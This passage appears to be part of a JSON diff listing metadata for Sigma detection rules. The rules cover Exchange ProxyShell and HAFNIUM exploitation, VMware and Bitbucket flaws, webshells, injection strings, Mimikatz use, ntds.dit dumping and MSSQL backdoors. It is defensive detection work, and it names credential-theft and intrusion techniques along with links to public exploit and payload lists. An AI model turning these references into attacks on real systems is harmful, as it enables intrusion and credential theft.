"meta": { + "refs": [ + "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31656_auth_bypass.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2022/08/12", + "filename": "web_cve_2022_31656_auth_bypass.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Vulnerability scanners" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659", + "uuid": "efdb2003-a922-48aa-8f37-8b80021a9706", + "value": "CVE-2022-31659 VMware Workspace ONE Access RCE", + "meta": { + "refs": [ + "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31659_vmware_rce.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2022/08/12", + "filename": "web_cve_2022_31659_vmware_rce.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Legitimate access to the URI" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective", + "uuid": "1a9a04fd-02d1-465c-abad-d733fd409f9c", + "value": "Apache Spark Shell Command Injection - Weblogs", + "meta": { + "refs": [ + "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", + "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", + "https://github.com/apache/spark/pull/36315/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_33891_spark_shell_command_injection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.33891" + ], + "creation_date": "2022/07/19", + "filename": "web_cve_2022_33891_spark_shell_command_injection.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Web vulnerability scanners" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804", + "uuid": "65c0a0ab-d675-4441-bd6b-d3db226a2685", + "value": "Atlassian Bitbucket Command Injection Via Archive API", + "meta": { + "refs": [ + "https://twitter.com/_0xf4n9x_/status/1572052954538192901", + "https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/", + "https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html", + "https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_36804_atlassian_bitbucket_command_injection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.36804" + ], + "creation_date": "2022/09/29", + "filename": "web_cve_2022_36804_atlassian_bitbucket_command_injection.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Web vulnerability scanners" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity", + "uuid": "67bce556-312f-4c81-9162-c3c9ff2599b2", + "value": "Exchange Exploitation Used by HAFNIUM", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_exploitation_hafnium.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/03/03", + "filename": "web_exchange_exploitation_hafnium.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate access to other web applications that use the same folder names as Exchange (e.g. owa, ecp) but are not Microsoft Exchange related" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)", + "uuid": "23eee45e-933b-49f9-ae1b-df706d2d52ef", + "value": "Exchange ProxyShell Pattern", + "meta": { + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2231", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/08/07", + "filename": "web_exchange_proxyshell.yml", + "author": "Florian Roth, Rich Warren", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers", + "uuid": "992be1eb-e5da-437e-9a54-6d13b57bb4d8", + "value": "Successful Exchange ProxyShell Attack", + "meta": { + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2231", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell_successful.yml" + ], + "tags": [ + "attack.initial_access" + ], + "creation_date": "2021/08/09", + "filename": "web_exchange_proxyshell_successful.yml", + "author": "Florian Roth, Rich Warren", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"", + "uuid": "7cb02516-6d95-4ffc-8eee-162075e111ac", + "value": "Successful IIS Shortname Fuzzing Scan", + "meta": { + "refs": [ + "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml", + "https://www.exploit-db.com/exploits/19525", + "https://github.com/lijiejie/IIS_shortname_Scanner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_iis_tilt_shortname_scan.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/10/06", + "filename": "web_iis_tilt_shortname_scan.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects possible Java payloads in web access logs", + "uuid": "583aa0a2-30b1-4d62-8bf3-ab73689efe6c", + "value": "Java Payload Strings", + "meta": { + "refs": [ + "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", + "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", + "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", + "https://twitter.com/httpvoid0x2f/status/1532924261035384832", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_java_payload_in_access_logs.yml" + ], + "tags": [ + "cve.2022.26134", + "cve.2021.26084" + ], + "creation_date": "2022/06/04", + "filename": "web_java_payload_in_access_logs.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate apps" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempt using the JDNIExploiit Kit", + "uuid": "412d55bc-7737-4d25-9542-5b396867ce55", + "value": "JNDIExploit Pattern", + "meta": { + "refs": [ + "https://github.com/pimps/JNDI-Exploit-Kit", + "https://githubmemory.com/repo/FunctFan/JNDIExploit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_jndi_exploit.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/12", + "filename": "web_jndi_exploit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate apps the use these paths" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects possible exploitation activity or bugs in a web application", + "uuid": "6fdfc796-06b3-46e8-af08-58f3505318af", + "value": "Multiple Suspicious Resp Codes Caused by Single Client", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_multiple_susp_resp_codes_single_source.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/02/19", + "filename": "web_multiple_susp_resp_codes_single_source.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Unstable application", + "Application that misuses the response codes" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", + "uuid": "59ec40bb-322e-40ab-808d-84fa690d7e56", + "value": "Nginx Core Dump", + "meta": { + "refs": [ + "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps", + "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_nginx_core_dump.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.004" + ], + "creation_date": "2021/05/31", + "filename": "web_nginx_core_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Serious issues with a configuration or plugin" + ], + "logsource.category": "No established category", + "logsource.product": "No established product" + } + }, + { + "description": "Detects path traversal exploitation attempts", + "uuid": "7745c2ea-24a5-4290-b680-04359cb84b35", + "value": "Path Traversal Exploitation Attempts", + "meta": { + "refs": [ + "https://github.com/projectdiscovery/nuclei-templates", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_path_traversal_exploitation_attempt.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/09/25", + "filename": "web_path_traversal_exploitation_attempt.yml", + "author": "Subhash Popuri (@pbssubhash), Florian Roth (generalisation)", + "level": "medium", + "falsepositive": [ + "Happens all the time on systems exposed to the Internet", + "Internal vulnerability scanners" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects access to SUPERNOVA webshell as described in Guidepoint report", + "uuid": "a2cee20b-eacc-459f-861d-c02e5d12f1db", + "value": "Solarwinds SUPERNOVA Webshell Access", + "meta": { + "refs": [ + "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "https://www.anquanke.com/post/id/226029", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_solarwinds_supernova_webshell.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2020/12/17", + "filename": "web_solarwinds_supernova_webshell.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts of the SonicWall Jarrewrite Exploit", + "uuid": "6f55f047-112b-4101-ad32-43913f52db46", + "value": "SonicWall SSL/VPN Jarrewrite Exploit", + "meta": { + "refs": [ + "https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sonicwall_jarrewrite_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access" + ], + "creation_date": "2021/01/25", + "filename": "web_sonicwall_jarrewrite_exploit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects source code enumeration that use GET requests by keyword searches in URL strings", + "uuid": "953d460b-f810-420a-97a2-cfca4c98e602", + "value": "Source Code Enumeration Detection by Keyword", + "meta": { + "refs": [ + "https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html", + "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_source_code_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2019/06/08", + "filename": "web_source_code_enumeration.yml", + "author": "James Ahearn", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects SQL Injection attempts via GET requests in access logs", + "uuid": "5513deaf-f49a-46c2-a6c8-3f111b5cb453", + "value": "SQL Injection Strings", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", + "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/", + "https://brightsec.com/blog/sql-injection-payloads/", + "https://github.com/payloadbox/sql-injection-payload-list", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sql_injection_in_access_logs.yml" + ], + "tags": "No established tags", + "creation_date": "2020/02/22", + "filename": "web_sql_injection_in_access_logs.yml", + "author": "Saw Win Naung, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Java scripts and CSS Files", + "User searches in search boxes of the respective website", + "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects SSTI attempts sent via GET requests in access logs", + "uuid": "ada3bc4f-f0fd-42b9-ba91-e105e8af7342", + "value": "Server Side Template Injection Strings", + "meta": { + "refs": [ + "https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection", + "https://github.com/payloadbox/ssti-payloads", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_ssti_in_access_logs.yml" + ], + "tags": "No established tags", + "creation_date": "2022/06/14", + "filename": "web_ssti_in_access_logs.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "User searches in search boxes of the respective website", + "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects known suspicious (default) user-agents related to scanning/recon tools", + "uuid": "19aa4f58-94ca-45ff-bc34-92e533c0994a", + "value": "Suspicious User-Agents Related To Recon Tools", + "meta": { + "refs": [ + "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb", + "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", + "https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_useragents.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2022/07/19", + "filename": "web_susp_useragents.yml", + "author": "Nasreddine Bencherchali, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious windows strins in URI which could indicate possible exfiltration or webshell communication", + "uuid": "9f6a34b4-2688-4eb7-a7f5-e39fef573d0e", + "value": "Suspicious Windows Strings In URI", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_windows_path_uri.yml" + ], + "tags": [ + "attack.persistence", + "attack.exfiltration", + "attack.t1505.003" + ], + "creation_date": "2022/06/06", + "filename": "web_susp_windows_path_uri.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate application and websites that use windows paths in their URL" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects access to DEWMODE webshell as described in FIREEYE report", + "uuid": "fdf96c90-42d5-4406-8a9c-14a2c9a016b5", + "value": "DEWMODE Webshell Access", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_unc2546_dewmode_php_webshell.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/02/22", + "filename": "web_unc2546_dewmode_php_webshell.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", + "uuid": "2ea44a60-cfda-11ea-87d0-0242ac130003", + "value": "Webshell ReGeorg Detection Via Web Logs", + "meta": { + "refs": [ + "https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3", + "https://github.com/sensepost/reGeorg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_webshell_regeorg.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2020/08/04", + "filename": "web_webshell_regeorg.yml", + "author": "Cian Heasley", + "level": "high", + "falsepositive": [ + "Web applications that use the same URL parameters as ReGeorg" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Windows Webshells that use GET requests via access logs", + "uuid": "7ff9db12-1b94-4a79-ba68-a2402c5d6729", + "value": "Windows Webshell Strings", + "meta": { + "refs": [ + "https://bad-jubies.github.io/RCE-NOW-WHAT/", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_win_webshells_in_access_logs.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2017/02/19", + "filename": "web_win_webshells_in_access_logs.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Web sites like wikis with articles on os commands and pages that include the os commands in the URLs", + "User searches in search boxes of the respective website" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects XSS attempts injected via GET requests in access logs", + "uuid": "65354b83-a2ea-4ea6-8414-3ab38be0d409", + "value": "Cross Site Scripting Strings", + "meta": { + "refs": [ + "https://github.com/payloadbox/xss-payload-list", + "https://portswigger.net/web-security/cross-site-scripting/contexts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_xss_in_access_logs.yml" + ], + "tags": "No established tags", + "creation_date": "2021/08/15", + "filename": "web_xss_in_access_logs.yml", + "author": "Saw Win Naung, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "JavaScripts,CSS Files and PNG files", + "User searches in search boxes of the respective website", + "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)", + "uuid": "06d71506-7beb-4f22-8888-e2e5e2ca7fd8", + "value": "Mimikatz Use", + "meta": { + "refs": [ + "https://tools.thehacker.recipes/mimikatz/modules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml" + ], + "tags": [ + "attack.s0002", + "attack.lateral_movement", + "attack.credential_access", + "car.2013-07-001", + "car.2019-04-004", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.001", + "attack.t1003.006" + ], + "creation_date": "2017/01/10", + "filename": "win_alert_mimikatz_keywords.yml", + "author": "Florian Roth (rule), David ANDRE (additional keywords)", + "level": "high", + "falsepositive": [ + "Naughty administrators", + "AV Signature updates", + "Files with Mimikatz in their filename" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited.\nMS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability.\nUnfortunately, that is about the only instance of CVEs being written to this log.\n", + "uuid": "48d91a3a-2363-43ba-a456-ca71ac3da5c2", + "value": "Audit CVE Event", + "meta": { + "refs": [ + "https://twitter.com/VM_vivisector/status/1217190929330655232", + "https://twitter.com/DidierStevens/status/1217533958096924676", + "https://twitter.com/FlemmingRiis/status/1217147415482060800", + "https://www.youtube.com/watch?v=ebmW42YYveI", + "https://nullsec.us/windows-event-log-audit-cve/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_audit_cve.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.privilege_escalation", + "attack.t1068", + "attack.defense_evasion", + "attack.t1211", + "attack.credential_access", + "attack.t1212", + "attack.lateral_movement", + "attack.t1210", + "attack.impact", + "attack.t1499.004" + ], + "creation_date": "2020/01/15", + "filename": "win_audit_cve.yml", + "author": "Florian Roth, Zach Mathis", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This detection method points out highly relevant Antivirus events", + "uuid": "78bc5783-81d9-4d73-ac97-59f6db4f72a8", + "value": "Relevant Anti-Virus Event", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31", + "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", + "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_av_relevant_match.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588" + ], + "creation_date": "2017/02/19", + "filename": "win_av_relevant_match.yml", + "author": "Florian Roth, Arnim Rupp", + "level": "high", + "falsepositive": [ + "Some software piracy tools (key generators, cracks) are classified as hack tools" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "An application has been removed. Check if it is critical.", + "uuid": "570ae5ec-33dc-427c-b815-db86228ad43e", + "value": "Application Uninstalled", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_builtin_remove_application.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2022/01/28", + "filename": "win_builtin_remove_application.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential abuse of ntdsutil to dump ntds.dit database", + "uuid": "e6e88853-5f20-4c4a-8d26-cd469fd8d31f", + "value": "Ntdsutil Abuse", + "meta": { + "refs": [ + "https://twitter.com/mgreen27/status/1558223256704122882", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/14", + "filename": "win_esent_ntdsutil_abuse.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate backup operation/creating shadow copies" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location", + "uuid": "94dc4390-6b7c-4784-8ffc-335334404650", + "value": "Dump Ntds.dit To Suspicious Location", + "meta": { + "refs": [ + "https://twitter.com/mgreen27/status/1558223256704122882", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse_susp_location.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/14", + "filename": "win_esent_ntdsutil_abuse_susp_location.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate backup operation/creating shadow copies" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects MSI package installation from suspicious locations", + "uuid": "c7c8aa1c-5aff-408e-828b-998e3620b341", + "value": "MSI Installation From Suspicious Locations", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_susp_locations.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/31", + "filename": "win_msi_install_from_susp_locations.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Some false positives may occur depending on the environnement" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects installation of a remote msi file from web.", + "uuid": "5594e67a-7f92-4a04-b65d-1a42fd824a60", + "value": "MSI Installation From Web", + "meta": { + "refs": [ + "https://twitter.com/_st0pp3r_/status/1583922009842802689", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_web.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218", + "attack.t1218.007" + ], + "creation_date": "2022/10/23", + "filename": "win_msi_install_from_web.yml", + "author": "Stamatis Chatzimangou", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role", + "uuid": "08200f85-2678-463e-9c32-88dce2f073d1", + "value": "MSSQL Add Account To Sysadmin Role", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_add_sysadmin_account.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/13", + "filename": "win_mssql_add_sysadmin_account.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker calls the \"ALTER SERVER AUDIT\" or \"DROP SERVER AUDIT\" transaction in order to delete or disable audit logs on the server", + "uuid": "350dfb37-3706-4cdc-9e2e-5e24bc3a46df", + "value": "MSSQL Disable Audit Settings", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", + "https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_disable_audit_settings.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/13", + "filename": "win_mssql_disable_audit_settings.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "This event should only fire when an administrator is modifying the audit policy. Which should be a rare occurrence once it's set up" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server", + "uuid": "711ab2fe-c9ba-4746-8840-5228a58c3cb8", + "value": "MSSQL Extended Stored Procedure Backdoor Maggie", + "meta": { + "refs": [ + "https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_maggie.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546" + ], + "creation_date": "2022/10/09", + "filename": "win_mssql_sp_maggie.yml", + "author": "Denis Szadkowski, DIRT / DCSO CyTec", + "level": "high", + "falsepositive": [ + "Legitimate extended stored procedures named maggie" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started", + "uuid": "b3d57a5c-c92e-4b48-9a79-5f124b7cf964", + "value": "MSSQL SPProcoption Set", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_procoption_set.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/13", + "filename": "win_mssql_sp_procoption_set.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate use of the feature by administrators (rare)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure is used to execute commands", + "uuid": "7f103213-a04e-4d59-8261-213dddf22314", + "value": "MSSQL XPCmdshell Suspicious Execution", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_audit_log.yml" + ], + "tags": [ + 